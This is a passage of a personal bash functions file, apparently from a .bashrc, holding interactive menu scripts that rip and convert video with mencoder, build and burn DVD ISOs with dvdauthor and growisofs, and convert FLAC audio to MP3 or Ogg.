(1) original resolution(cropped, but no scaling)
(2) 624 x 352 scaling (fullscreen/widescreen)
(3) 624 x ??? scaling (fullscreen/widescreen) (auto-height)
(4) 800 x 600 scaling (fullscreen)
(5) 800 x ??? scaling (fullscreen) (auto-height)
(6) 600 x 400 scaling (widescreen)
(7) 600 x ??? scaling (widescreen) (auto-height)
(8) 640 x 480 scaling (fullscreen)
(9) 640 x ??? scaling (fullscreen) (auto-height)
(10) 704 x 294 scaling (widescreen) (2.35:1)
(11) 704 x ??? scaling (widescreen) (2.35:1) (auto-height)
(12) 768 x 432 scaling (widescreen) (16:9)
(13) 768 x ??? scaling (widescreen) (16:9) (auto-height)
(14) custom
Press 'Enter' for default (default is '3')...
"
read SCALING_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $SCALING_NUMBER ]] ; then
# If no file passed, default to 3
SCALING="scale -zoom -xy 624"
fi
###### preset
if [[ $SCALING_NUMBER = 1 ]] ; then
SCALING="scale=${CROP_VALUES}"
fi
if [[ $SCALING_NUMBER = 2 ]] ; then
SCALING="scale=624:352"
fi
if [[ $SCALING_NUMBER = 3 ]] ; then
SCALING="scale -zoom -xy 624"
fi
if [[ $SCALING_NUMBER = 4 ]] ; then
SCALING="scale=800:600"
fi
if [[ $SCALING_NUMBER = 5 ]] ; then
SCALING="scale -zoom -xy 800"
fi
if [[ $SCALING_NUMBER = 6 ]] ; then
SCALING="scale=600:400"
fi
if [[ $SCALING_NUMBER = 7 ]] ; then
SCALING="scale -zoom -xy 600"
fi
if [[ $SCALING_NUMBER = 8 ]] ; then
SCALING="scale=640:480"
fi
if [[ $SCALING_NUMBER = 9 ]] ; then
SCALING="scale -zoom -xy 640"
fi
if [[ $SCALING_NUMBER = 10 ]] ; then
SCALING="scale=704:294"
fi
if [[ $SCALING_NUMBER = 11 ]] ; then
SCALING="sscale -zoom -xy 704"
fi
if [[ $SCALING_NUMBER = 12 ]] ; then
SCALING="scale=768:432"
fi
if [[ $SCALING_NUMBER = 13 ]] ; then
SCALING="scale -zoom -xy 768"
fi
###### custom
if [[ $SCALING_NUMBER = 14 ]] ; then
echo -n "Please enter a custom scale: "
echo -n "...like this: 'scale=800:600' or 'scale -zoom -xy 624'..."
read CUSTOM_SCALING
SCALING=$CUSTOM_SCALING
fi
####################### Custom total/video bitrate level
echo -n "Select a total/video bitrate level:
(1) -350000 (= max file size of ~ 350MB) (H.264/XVID only)
(2) -700000 (= max file size of ~ 700MB) (H.264/XVID only)
(3) -1000000 (= max file size of ~ 1GB) (H.264/XVID only)
(4) 400 kbps
(5) 600 kbps
(6) 800 kbps
(7) 1000 kbps
(8) 1100 kbps
(9) 1150 kbps
(10) 1200 kbps
(11) 1250 kbps
(12) 1500 kbps
(13) 2000 kbps
(14) 3000 kbps
(15) 4000 kbps
(16) 5000 kbps
(17) custom
Press 'Enter' for default (default is '2')...
"
read BITRATE_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $BITRATE_NUMBER ]] ; then
# If no file passed, default to 2
BITRATE=-700000
fi
###### preset
if [[ $BITRATE_NUMBER = 1 ]] ; then
BITRATE=-350000
fi
if [[ $BITRATE_NUMBER = 2 ]] ; then
BITRATE=-700000
fi
if [[ $BITRATE_NUMBER = 3 ]] ; then
BITRATE=-1000000
fi
if [[ $BITRATE_NUMBER = 4 ]] ; then
BITRATE=400
fi
if [[ $BITRATE_NUMBER = 5 ]] ; then
BITRATE=600
fi
if [[ $BITRATE_NUMBER = 6 ]] ; then
BITRATE=800
fi
if [[ $BITRATE_NUMBER = 7 ]] ; then
BITRATE=1000
fi
if [[ $BITRATE_NUMBER = 8 ]] ; then
BITRATE=1100
fi
if [[ $BITRATE_NUMBER = 9 ]] ; then
BITRATE=1150
fi
if [[ $BITRATE_NUMBER = 10 ]] ; then
BITRATE=1200
fi
if [[ $BITRATE_NUMBER = 11 ]] ; then
BITRATE=1250
fi
if [[ $BITRATE_NUMBER = 12 ]] ; then
BITRATE=1500
fi
if [[ $BITRATE_NUMBER = 13 ]] ; then
BITRATE=2000
fi
if [[ $BITRATE_NUMBER = 14 ]] ; then
BITRATE=3000
fi
if [[ $BITRATE_NUMBER = 15 ]] ; then
BITRATE=4000
fi
if [[ $BITRATE_NUMBER = 16 ]] ; then
BITRATE=5000
fi
###### custom
if [[ $BITRATE_NUMBER = 17 ]] ; then
echo -n "Please enter a custom total/video bitrate: "
echo -n "...like this: '1175'..."
read CUSTOM_BITRATE
BITRATE=$CUSTOM_BITRATE
fi
####################### Custom audio track
echo -n "Select an audio track:
(1) -aid 0 (good when getting no audio with others) (ex.: Custom DVD rips)
(2) -aid 127
(3) -aid 128 (often main language non-director's commentary audio track)
(4) -aid 129 (often second track, such as director's commentary)
(5) -aid 130
(6) -aid 131
(7) -aid 132
(8) -aid 160
(9) custom
Press 'Enter' for default (default is 'null', which is DVD default)...
"
read AUDIO_TRACK_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $AUDIO_TRACK_NUMBER ]] ; then
# If no file passed, default to null
AUDIO_TRACK=
fi
###### preset
if [[ $AUDIO_TRACK_NUMBER = 1 ]] ; then
AUDIO_TRACK="-aid 0"
fi
if [[ $AUDIO_TRACK_NUMBER = 2 ]] ; then
AUDIO_TRACK="-aid 127"
fi
if [[ $AUDIO_TRACK_NUMBER = 3 ]] ; then
AUDIO_TRACK="-aid 128"
fi
if [[ $AUDIO_TRACK_NUMBER = 4 ]] ; then
AUDIO_TRACK="-aid 129"
fi
if [[ $AUDIO_TRACK_NUMBER = 5 ]] ; then
AUDIO_TRACK="-aid 130"
fi
if [[ $AUDIO_TRACK_NUMBER = 6 ]] ; then
AUDIO_TRACK="-aid 131"
fi
if [[ $AUDIO_TRACK_NUMBER = 7 ]] ; then
AUDIO_TRACK="-aid 132"
fi
if [[ $AUDIO_TRACK_NUMBER = 8 ]] ; then
AUDIO_TRACK="-aid 160"
fi
###### custom
if [[ $AUDIO_TRACK_NUMBER = 9 ]] ; then
echo -n "Please enter a custom audio track: "
echo -n "...like this: '-aid 128'..."
read CUSTOM_AUDIO_TRACK
AUDIO_TRACK=$CUSTOM_AUDIO_TRACK
fi
####################### Custom audio track language
echo -n "Select an audio track language:
(1) Chinese - zh
(2) Dansk (Danish) - da
(3) Deutsch - de
(4) English - en
(5) Español - es
(6) Français - fr
(7) Greek - el
(8) Italiano (Italian) - it
(9) Japanese - ja
(10) Korean - ko
(11) Nederlands - nl
(12) Polish - pl
(13) Portugues - pt
(14) Russian - ru
Or input your own (like this: 'en')...
Press 'Enter' for default (default is 'null', which is DVD default)...
"
read AUDIO_LANGUAGE_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $AUDIO_LANGUAGE_NUMBER ]] ; then
# If no file passed, default to null
AUDIO_LANGUAGE=
fi
###### preset
if [[ $AUDIO_LANGUAGE_NUMBER = 1 ]] ; then
AUDIO_LANGUAGE="-alang zh"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 2 ]] ; then
AUDIO_LANGUAGE="-alang da"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 3 ]] ; then
AUDIO_LANGUAGE="-alang de"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 4 ]] ; then
AUDIO_LANGUAGE="-alang en"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 5 ]] ; then
AUDIO_LANGUAGE="-alang es"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 6 ]] ; then
AUDIO_LANGUAGE="-alang fr"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 7 ]] ; then
AUDIO_LANGUAGE="-alang el"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 8 ]] ; then
AUDIO_LANGUAGE="-alang it"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 9 ]] ; then
AUDIO_LANGUAGE="-alang ja"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 10 ]] ; then
AUDIO_LANGUAGE="-alang ko"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 11 ]] ; then
AUDIO_LANGUAGE="-alang nl"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 12 ]] ; then
AUDIO_LANGUAGE="-alang pl"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 13 ]] ; then
AUDIO_LANGUAGE="-alang pt"
fi
if [[ $AUDIO_LANGUAGE_NUMBER = 14 ]] ; then
AUDIO_LANGUAGE="-alang ru"
fi
####################### Custom audio bitrate level
echo -n "Select an audio bitrate level:
(1) 48 kbps
(2) 64 kbps
(3) 128 kbps
(4) 160 kbps
(5) 192 kbps
(6) 224 kbps
(7) 256 kbps
(8) 320 kbps
(9) custom
Press 'Enter' for default (default is '3')...
"
read AUDIO_BITRATE_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $AUDIO_BITRATE_NUMBER ]] ; then
# If no file passed, default to 3
AUDIO_BITRATE=128
fi
###### preset
if [[ $AUDIO_BITRATE_NUMBER = 1 ]] ; then
AUDIO_BITRATE=48
fi
if [[ $AUDIO_BITRATE_NUMBER = 2 ]] ; then
AUDIO_BITRATE=96
fi
if [[ $AUDIO_BITRATE_NUMBER = 3 ]] ; then
AUDIO_BITRATE=128
fi
if [[ $AUDIO_BITRATE_NUMBER = 4 ]] ; then
AUDIO_BITRATE=160
fi
if [[ $AUDIO_BITRATE_NUMBER = 5 ]] ; then
AUDIO_BITRATE=192
fi
if [[ $AUDIO_BITRATE_NUMBER = 6 ]] ; then
AUDIO_BITRATE=224
fi
if [[ $AUDIO_BITRATE_NUMBER = 7 ]] ; then
AUDIO_BITRATE=256
fi
if [[ $AUDIO_BITRATE_NUMBER = 8 ]] ; then
AUDIO_BITRATE=320
fi
###### custom
if [[ $AUDIO_BITRATE_NUMBER = 9 ]] ; then
echo -n "Please enter a custom audio bitrate level: "
echo -n "...like this: '100'..."
read CUSTOM_AUDIO_BITRATE
AUDIO_BITRATE=$CUSTOM_AUDIO_BITRATE
fi
####################### Custom audio bitrate type
echo -n "Select an audio bitrate type:
(1) Average Bitrate
(2) Constant Bitrate
(3) Variable Bitrate
Press 'Enter' for default (default is '1')...
"
read AUDIO_BITRATE_TYPE_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $AUDIO_BITRATE_TYPE_NUMBER ]] ; then
# If no file passed, default to abr
AUDIO_BITRATE_TYPE=abr
fi
###### preset
if [[ $AUDIO_BITRATE_TYPE_NUMBER = 1 ]] ; then
AUDIO_BITRATE_TYPE=abr
fi
if [[ $AUDIO_BITRATE_TYPE_NUMBER = 2 ]] ; then
AUDIO_BITRATE_TYPE=cbr
fi
if [[ $AUDIO_BITRATE_TYPE_NUMBER = 3 ]] ; then
AUDIO_BITRATE_TYPE=vbr
fi
####################### Custom audio volume level
echo -n "Select an audio volume increase level (1-10):
Press 'Enter' for default (default is '3')...
"
read AUDIO_VOLUME_LEVEL
###### extra blank space
echo "
"
###### default
if [[ -z $AUDIO_VOLUME_LEVEL ]] ; then
# If no file passed, default to 3
AUDIO_VOLUME_LEVEL=3
fi
####################### Subtitles?
echo -n "Do you want subtitles?:
(1) No
(2) Yes (DVD/ISO only)
Press 'Enter' for default (default is '1', for no subtitles)...
"
read SUBTITLE_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $SUBTITLE_NUMBER ]] ; then
# If no file passed, default to null
SUBTITLE_TRACK=
SUBTITLE_LANGUAGE=
SUBTITLE_TYPE=
fi
###### preset
if [[ $SUBTITLE_NUMBER = 1 ]] ; then
SUBTITLE_TRACK=
SUBTITLE_LANGUAGE=
SUBTITLE_TYPE=
fi
if [[ $SUBTITLE_NUMBER = 2 ]] ; then
####################### Custom subtitle track
echo -n "Select a subtitle track:
(1) -sid 0
(2) -sid 1
(3) -sid 2
(4) -sid 3
(5) -sid 4
(6) -sid 5
(7) -sid 6
(8) -sid 7
(9) custom
Press 'Enter' for default (default is 'null')...
"
read SUBTITLE_TRACK_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $SUBTITLE_TRACK_NUMBER ]] ; then
# If no file passed, default to null
SUBTITLE_TRACK=
fi
###### preset
if [[ $SUBTITLE_TRACK_NUMBER = 1 ]] ; then
SUBTITLE_TRACK="-sid 0"
fi
if [[ $SUBTITLE_TRACK_NUMBER = 2 ]] ; then
SUBTITLE_TRACK="-sid 1"
fi
if [[ $SUBTITLE_TRACK_NUMBER = 3 ]] ; then
SUBTITLE_TRACK="-sid 2"
fi
if [[ $SUBTITLE_TRACK_NUMBER = 4 ]] ; then
SUBTITLE_TRACK="-sid 3"
fi
if [[ $SUBTITLE_TRACK_NUMBER = 5 ]] ; then
SUBTITLE_TRACK="-sid 4"
fi
if [[ $SUBTITLE_TRACK_NUMBER = 6 ]] ; then
SUBTITLE_TRACK="-sid 5"
fi
if [[ $SUBTITLE_TRACK_NUMBER = 7 ]] ; then
SUBTITLE_TRACK="-sid 6"
fi
if [[ $SUBTITLE_TRACK_NUMBER = 8 ]] ; then
SUBTITLE_TRACK="-sid 7"
fi
###### custom
if [[ $SUBTITLE_TRACK_NUMBER = 9 ]] ; then
echo -n "Please enter a custom subtitles track: "
echo -n "...like this: '-sid 10'..."
read CUSTOM_SUBTITLE_TRACK
SUBTITLE_TRACK=$CUSTOM_SUBTITLE_TRACK
fi
####################### Custom subtitles track language
echo -n "Select a subtitles track language:
(1) Chinese - zh
(2) Dansk (Danish) - da
(3) Deutsch - de
(4) English - en
(5) Español - es
(6) Français - fr
(7) Greek - el
(8) Italiano (Italian) - it
(9) Japanese - ja
(10) Korean - ko
(11) Nederlands - nl
(12) Polish - pl
(13) Portugues - pt
(14) Russian - ru
Or input your own (like this: 'en')...
Press 'Enter' for default (default is 'null')...
"
read SUBTITLE_LANGUAGE_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $SUBTITLE_LANGUAGE_NUMBER ]] ; then
# If no file passed, default to null
SUBTITLE_LANGUAGE=
fi
###### preset
if [[ $SUBTITLE_LANGUAGE_NUMBER = 1 ]] ; then
SUBTITLE_LANGUAGE="-slang zh"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 2 ]] ; then
SUBTITLE_LANGUAGE="-slang da"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 3 ]] ; then
SUBTITLE_LANGUAGE="-slang de"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 4 ]] ; then
SUBTITLE_LANGUAGE="-slang en"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 5 ]] ; then
SUBTITLE_LANGUAGE="-slang es"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 6 ]] ; then
SUBTITLE_LANGUAGE="-slang fr"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 7 ]] ; then
SUBTITLE_LANGUAGE="-slang el"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 8 ]] ; then
SUBTITLE_LANGUAGE="-slang it"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 9 ]] ; then
SUBTITLE_LANGUAGE="-slang ja"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 10 ]] ; then
SUBTITLE_LANGUAGE="-slang ko"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 11 ]] ; then
SUBTITLE_LANGUAGE="-slang nl"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 12 ]] ; then
SUBTITLE_LANGUAGE="-slang pl"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 13 ]] ; then
SUBTITLE_LANGUAGE="-slang pt"
fi
if [[ $SUBTITLE_LANGUAGE_NUMBER = 14 ]] ; then
SUBTITLE_LANGUAGE="-slang ru"
fi
####################### Subtitle Kind?
echo -n "What kind of subtitles do you prefer?:
(1) Embed onto the video
(2) Embed into a separate file
Press 'Enter' for default (default is '1')...
"
read SUBTITLE_TYPE_NUMBER
###### extra blank space
echo "
"
###### default
if [[ -z $SUBTITLE_TYPE_NUMBER ]] ; then
# If no file passed, default to null
SUBTITLE_TYPE=
fi
###### preset
if [[ $SUBTITLE_TYPE_NUMBER = 1 ]] ; then
SUBTITLE_TYPE=
fi
if [[ $SUBTITLE_TYPE_NUMBER = 2 ]] ; then
SUBTITLE_TYPE="-vobsubout ${OUTPUT_FILE}"
fi
###### closes the preset of 'yes' for subtitles
fi
####################### Custom conversion is starting
###### extra blank space
echo "
"
###### custom conversion is starting message
read -sn 1 -p "Your custom conversion is about to begin, press any key to continue..."
####################### Custom conversions (very high quality settings)
###### custom preset ######
###### H.264
if [[ $MPEG4_TYPE = 1 ]] ; then
# actual two-pass conversion
mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -nosound -ovc x264 -x264encopts pass=1:subq=1:partitions=all:8x8dct:me=umh:frameref=1:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=$BITRATE -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o '/dev/null'
mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc x264 -x264encopts pass=2:subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=$BITRATE -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $MPEG4_TYPE = 2 ]] ; then
# actual one-pass conversion
mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc x264 -x264encopts subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
fi
###### MPEG4
if [[ $MPEG4_TYPE = 3 ]] ; then
# actual two-pass conversion
mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -nosound -ovc lavc $CUSTOM_DIVX -lavcopts vpass=1:vcodec=mpeg4:mbd=2:trell:v4mv:last_pred=2:dia=-1:vmax_b_frames=2:vb_strategy=1:cmp=3:subcmp=3:precmp=0:vqcomp=0.6:turbo:threads=$CPUS:vbitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o '/dev/null'
mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc lavc $CUSTOM_DIVX -lavcopts vpass=2:vcodec=mpeg4:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:predia=2:dia=2:vmax_b_frames=2:vb_strategy=1:precmp=2:cmp=2:subcmp=2:preme=2:qns=2:threads=$CPUS:vbitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $MPEG4_TYPE = 4 ]] ; then
# actual one-pass conversion
mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc lavc $CUSTOM_DIVX -lavcopts vcodec=mpeg4:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:predia=2:dia=2:vmax_b_frames=2:vb_strategy=1:precmp=2:cmp=2:subcmp=2:preme=2:qns=2:threads=$CPUS:vbitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
fi
###### XVID
if [[ $MPEG4_TYPE = 5 ]] ; then
# actual two-pass conversion
mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -nosound -ovc xvid -xvidencopts pass=1:chroma_opt:vhq=1:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o '/dev/null'
mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc xvid -xvidencopts pass=2:chroma_opt:vhq=4:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
fi
if [[ $MPEG4_TYPE = 6 ]] ; then
# actual one-pass conversion
mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc xvid -xvidencopts chroma_opt:vhq=4:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
fi
####################### Close the custom quality option #17
fi
####################### Cleanup
if [ -f mplayer.tmp ];then
rm mplayer.tmp
fi
if [ -f divx2pass.log ];then
rm divx2pass.log
fi
####################### Conversion finished notifications
###### extra blank spaces
echo "
"
###### notifications
notify-send -t 7000 -i /usr/share/icons/gnome/32x32/status/info.png "Conversion Finished" ; espeak "Conversion Finished"
# extra blank spaces
echo "
"
read -sn 1 -p "Your conversion has finished, press any key to continue and close this terminal session..."
}
alias dvdrip='video2avi'
alias rip='video2avi'
###### video2dvd
function video2dvd()
{
# video2dvd - Make a DVD ISO from a video file
# Burn ISO after script runs
#
# Author - Inameiname
#
# Version: 1.0
#
# Usage - video2dvd $1
# Run this script either from the terminal or by right clicking the video file and selecting the script
# Ensure 'export VIDEO_FORMAT=NTSC' is in '~/.bashrc' or '~/.bash.profile' OR that its below
##########
# See if the Nautilus environment variable is empty
if [ -z $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS ]; then
# If it's blank, set it equal to $1
NAUTILUS_SCRIPT_SELECTED_FILE_PATHS=$1
fi
# Loop through the list (from either Nautilus or the command line)
for ARCHIVE_FULLPATH in $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS; do
NEWDIRNAME=${ARCHIVE_FULLPATH%.*}
FILENAME=${ARCHIVE_FULLPATH##*/}
NAME=${ARCHIVE_FULLPATH##*/.*}
###### open and run all of the following in a terminal window
tty -s; if [ $? -ne 0 ]; then gnome-terminal -e "$0"; exit; fi
###### be sure there is a "VIDEO_FORMAT=" specified
export VIDEO_FORMAT=NTSC
###### cd to the video file's folder
mkdir "$NEWDIRNAME"
cd "$NEWDIRNAME"
cd ..
rmdir "$NEWDIRNAME"
###### check to see if the file is an mpg/vob file; if not, convert it and rename the mpeg file to "dvd_movie.mpg"
echo 'Is this video file not already a DVD-compliant MPEG file (MPEG/mpeg/MPG/mpg/VOB/vob), 1 for true 0 for false? '
read MEDIA_TYPE
if [ "$MEDIA_TYPE" -eq 1 ] ; then
###### convert the video file to '.mpg'
ffmpeg -i "$ARCHIVE_FULLPATH" -target ntsc-dvd -acodec mp2 -ab 224 -sameq "$NEWDIRNAME".mpg
notify-send -t 5000 -i /usr/share/icons/gnome/32x32/status/info.png "Conversion to an MPEG File Finished"
###### rename the '.mpg' file to "dvd_movie.mpg"
mv -fv "$NEWDIRNAME".mpg "dvd_movie.mpg"
else
###### rename the mpg/mpeg/vob file to "dvd_movie.mpg"
mv -fv "$ARCHIVE_FULLPATH" "dvd_movie.mpg"
fi
###### create a "dvdauthor.xml" file - (save in the same directory as movie file)
cat > "dvdauthor.xml" <<"End-of-message"
<dvdauthor dest="DVD">
<vmgm />
<titleset>
<titles>
<pgc>
<vob file="dvd_movie.mpg" chapters="0,05:00,10:00,15:00,20:00,25:00,30:00,35:00,40:00,45:00,50:00,55:00,1:00:00,1:05:00,1:10:00,1:15:00,1:20:00,1:25:00,1:30:00,1:35:00,1:40:00,1:45:00,1:50:00,1:55:00,2:00:00,2:05:00,2:10:00,2:15:00,2:20:00,2:25:00,2:30:00,2:35:00,2:40:00,2:45:00,2:50:00,2:55:00,3:00:00,3:05:00,3:10:00,3:15:00,3:20:00,3:25:00,3:30:00,3:35:00,3:40:00,3:45:00,3:50:00,3:55:00,4:00:00,4:05:00,4:10:00,4:15:00,4:20:00,4:25:00,4:30:00,4:35:00,4:40:00,4:45:00,4:50:00,4:55:00,5:00:00,5:05:00,5:10:00,5:15:00,5:20:00,5:25:00,5:30:00,5:35:00,5:40:00,5:45:00,5:50:00,5:55:00,6:00:00"/>
</pgc>
</titles>
</titleset>
</dvdauthor>
End-of-message
###### the actual mpg/mpeg/vob conversion to dvd-compliant folders
dvdauthor -x dvdauthor.xml
###### rename the mpg/mpeg/vob file from "dvd_movie.mpg" back to the original
if [ "$MEDIA_TYPE" -eq 1 ] ; then
###### rename the '.mpg' file to "dvd_movie.mpg"
mv -fv "dvd_movie.mpg" "$NEWDIRNAME".mpg
else
###### rename the mpg/mpeg/vob file to "dvd_movie.mpg"
mv -fv "dvd_movie.mpg" "$ARCHIVE_FULLPATH"
fi
###### rename the 'DVD' file to same name as the original
mv -fv "DVD" "$NEWDIRNAME"
###### remove the "dvdauthor.xml" file created and used from this script
rm -fv -R dvdauthor.xml
###### convert the dvd-compliant folders to an ISO
echo 'Would you like to create an ISO from the DVD-complaint folders now, 1 for true 0 for false? '
read boole
if [ $boole -eq 1 ]; then
cd "$NEWDIRNAME"
mkisofs -v -dvd-video -o "$NEWDIRNAME.iso" .
cd ..
notify-send -t 2000 -i /usr/share/icons/gnome/32x32/status/info.png "ISO created"
else
notify-send -t 2000 -i /usr/share/icons/gnome/32x32/status/info.png "no ISO created"
fi
###### option to burn the ISO
echo 'Would you like to burn this disc now, 1 for true 0 for false? '
read boole1
if [ $boole1 -eq 1 ]; then
# to get desired device
df -h -x tmpfs -x usbfs
echo -n "Please enter the appropriate DVD drive:
(1) /dev/dvd
(2) /dev/sr0
(3) /dev/sr1
(4) /dev/sr2
(5) custom
Press 'Enter' for default (default is '1')...
"
read DEVICE_NUMBER
# extra blank space
echo "
"
# default
if [[ -z $DEVICE_NUMBER ]] ; then
# If no device passed, default to /dev/dvd
DEVICE=/dev/dvd
fi
# preset
if [[ $DEVICE_NUMBER = 1 ]] ; then
DEVICE=/dev/dvd
fi
if [[ $DEVICE_NUMBER = 2 ]] ; then
DEVICE=/dev/sr0
fi
if [[ $DEVICE_NUMBER = 3 ]] ; then
DEVICE=/dev/sr1
fi
if [[ $DEVICE_NUMBER = 4 ]] ; then
DEVICE=/dev/sr2
fi
# custom
if [[ $DEVICE_NUMBER = 5 ]] ; then
echo -n "Please enter the appropriate DVD drive: "
echo -n "...like this: '/dev/dvd'..."
read CUSTOM_DEVICE
DEVICE=$CUSTOM_DEVICE
fi
growisofs -dvd-compat -speed=1 -Z "$DEVICE"="$NEWDIRNAME"
notify-send -t 2000 -i /usr/share/icons/gnome/32x32/status/info.png "DVD burned"
else
notify-send -t 2000 -i /usr/share/icons/gnome/32x32/status/info.png "no DVD burned"
fi
###### notify-send notification showing when the job has finished
notify-send -t 5000 -i /usr/share/icons/gnome/32x32/status/info.png "All Conversions Finished"
done
}
############ Audio ############
###### rip audio from video ("$1" for output file & "$2" for input file)
function audioextract()
{
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile "$1" "$2"
}
###### flac2mp3 - call this like: flac2mp3 /path/to/source/file.flac /path/to/destination - needs: getFileName function; flac encoder/decoder; lame
function flac2mp3()
{
local old_file="${1}"
local new_dir="${2}"
local short_filename=`getFileName "${old_file}"`
local new_file="${short_filename:0:${#short_filename}-5}.mp3"
flac -d -o - "${old_file}" | lame -b 320 -h - > "${new_dir}/${new_file}"
}
###### flac2ogg - call this like: flac2ogg /path/to/source/file.flac /path/to/destination needs: getFileName function; flac encoder/decoder; oggenc
function flac2ogg()
{
local old_file="${1}"
local new_dir="${2}"
local short_filename=`getFileName "${old_file}"`
local new_file="${short_filename:0:${#short_filename}-5}.ogg"
###### get artist and album before release #########
# flac -d -o - "${old_file}" | oggenc -a "$artist" -l "$album" -t "${title}" - -o "${new_dir}/${new_file}"
#------------------------------------------////##
local title="${short_filename:0:${#short_filename}-4}"
flac -d -o - "${old_file}" | oggenc -t "${title}" - -o "${new_dir}/${new_file}"
}
alias flvaudio='ffmpeg -i "$1" -f mp3 -vn -acodec copy output.mp3' # extract sound from flv & make mp3
###### fix MP3 tags encoding (to UTF-8) - batch fixes all MP3s in one directory
function mp3_tagging()
{
find . -iname "*.mp3" -execdir mid3iconv -e <encoding> {} \;
}
